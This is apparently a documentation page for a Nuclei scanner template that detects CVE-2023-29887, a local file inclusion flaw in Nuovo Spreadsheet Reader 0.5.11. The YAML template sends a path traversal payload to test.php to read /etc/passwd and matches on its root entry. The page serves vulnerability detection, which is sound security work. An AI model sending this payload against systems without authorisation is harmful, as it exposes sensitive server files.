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Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion

ID: CVE-2023-29887

Severity: high

Author: ctflearner

Tags: cve2023,cve,nuovo,spreadsheet-reader,lfi

Description

Section titled “Description”

A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2023-29887


info:
  name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
  author: ctflearner
  severity: high
  description: |
    A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
  remediation: |
    Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
  reference:
    - https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
    - https://github.com/nuovo/spreadsheet-reader/issues/169
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29887
    cwe-id: CWE-22
    epss-score: 0.00553
    epss-percentile: 0.7749
    cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nuovo
    product: spreadsheet-reader
  tags: cve2023,cve,nuovo,spreadsheet-reader,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ad027f6c85de071418c7c4a19684cc0e576a4aab9828f59627cc1e5c3a71c690221008cf977e14db25cf1509bad3e46dbdb9508684a614512ea0607090cd419b44973:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29887.yaml"

View on Github